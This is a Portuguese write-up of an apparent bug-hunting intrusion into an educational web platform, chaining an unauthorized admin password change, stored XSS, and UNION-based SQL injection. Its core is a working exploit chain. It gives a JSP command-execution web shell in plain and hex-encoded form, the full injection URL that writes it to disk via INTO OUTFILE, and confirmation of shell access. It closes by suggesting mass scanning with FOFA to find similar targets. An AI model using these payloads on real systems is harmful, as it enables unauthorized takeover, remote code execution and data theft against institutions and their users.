A caça por vulnerabilidades em sistemas web, especialmente em plataformas educacionais como o EduSrc, pode revelar falhas surrpeendentes. Recentemente, ao analisar estratégias de descoberta de bugs, deparei-me com um artigo sobre falhas genéricas de redefinição de senha. A ofuscação de informações no post original, paradoxalmente, levou-me a encontrar o sistema em questão através de uma busca direcionada.
Acesso Não Autorizado à Alteração de Senha
A vulnerabilidade inicial residia na redefinição de senha, onde o código de verificação, por padrão, era 'admin'. No entanto, testes revelaram uma falha mais grave: a possibilidade de alterar a senha de qualquer usuário sem autorização. Acessando diretamente um URL específico (com informações sensíveis omitidas), como:
xxxx/updatePasswd?username=admin,1
era possível acessar a interface de alteração da senha do administrador. Com essa brecha, a alteração da senha e o subsequente login foram um passo natural.
Vulnerabilidade XSS no Painel de Administração
Painéis administrativos frequentemente apresentam vulnerabilidades de Cross-Site Scripting (XSS). Para fins de teste e como uma forma de persistência após a correção de outras falhas, decidi explorar essa possibilidade. Na funcionalidade de "Gerenciamento de Cursos", ao adicionar um novo curso, inseri um payload XSS básico:
<script>alert(1)</script>
Após a submissão e uma busca pelo código do curso recém-adicionado ('0000001'), o pop-up de alerta foi exibido com sucesso. Contudo, XSS em back-end, embora útil, não era o objetivo principal, que era encontrar uma falha de acesso não autorizado mais discreta ou uma injeção SQL.
Suspeita de Download Arbitrário de Arquivos
Continuando a exploração, identifiquei um ponto de exportação de dados. A análise do tráfego de rede durante o download revelou que o caminho de acesso era absoluto. Inicialmente, isso gerou expectativas de uma vulnerabilidade de download arbitrário de arquivos. Após extensos testes e tentativas de contornar as restrições, a exploração falhou. O caminho absoluto para o download foi registrado para futuras análises.
Uma Nova Perspectiva: Injeção SQL e Obtenção de Dados
A busca por vulnerabilidades continuou, e um parâmetro GET em um endpoint chamou a atenção:
action?Id=aa&wid=2
Tentativas de injeção SQL foram realizadas. Surpreendentemente, após problemas iniciais com a estabilidade da injeção neste endpoint específico, foi descoberta uma falha de SQL Injection via UNION. A consulta:
action?Id=aa&wid=2' and '1'='2' union select database()--+
retornou o nome do banco de dados, abrindo caminho para explorações mais profundas.
Injeção de Código Java (JSP) para Obtenção de Shell
Com o nome do banco de dados em mãos e o caminho absoluto do sistema de arquivos anteriormente identificado, o próximo passo foi a injeção de um "one-liner" Java para obter acesso à execução remota de comandos (shell). O código original em JSP era:
<% java.io.InputStream input = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int len = -1;byte[] bytes = new byte[4092];out.print("");while ((len = input.read(bytes)) != -1) {out.println(new String(bytes, "GBK"));}out.print("");%>
A tentativa de inserir este código diretamente resultou em erro. A solução foi codificá-lo em hexadecimal:
0x3c25206a6176612e696f2e496e70757453747265616d20696e707574203d2052756e74696d652e67657452756e74696d6528292e6578656328726571756573742e676574506172616d657465722822636d642229292e676574496e70757453747265616d28293b696e74206c656e203d202d313b627974655b5d206279746573203d206e657720627974655b343039325d3b6f75742e7072696e7428223c7072653e22293b7768696c652028286c656e203d20696e7075742e72656164286279746573292920213d202d3129207b6f75742e7072696e746c6e286e657720537472696e672862797465732c202247424b2229293b7d6f75742e7072696e7428223c2f7072653e22293b253e
Utilizando a injeção SQL com UNION e a função outfile para escrever o código codificado em um arquivo JSP no caminho absoluto identificado anteriormente:
action?Id=aa&wid=2' union select 0x3c25206a6176612e696f2e496e70757453747265616d20696e707574203d2052756e74696d652e67657452756e74696d6528292e6578656328726571756573742e676574506172616d657465722822636d642229292e676574496e70757453747265616d28293b696e74206c656e203d202d313b627974655b5d206279746573203d206e657720627974655b343039325d3b6f75742e7072696e7428223c7072653e22293b7768696c652028286c656e203d20696e7075742e72656164286279746573292920213d202d3129207b6f75742e7072696e746c6e286e657720537472696e672862797465732c202247424b2229293b7d6f75742e7072696e7428223c2f7072653e22293b253e into outfile 'D://xxxxx/spring10.jsp' --+
Executando o comando whoami através do shell recém-criado confirmou o sucesso:
whoami
O acesso ao sistema foi obtido com sucesso.
Automação da Detecção em Massa
Para identificar sistemas semelhantes, um script de verificação em massa foi desenvolvido. A busca pode ser complementada utilizando ferramentas como o FOFA com a detecção de impressão digital do sistema.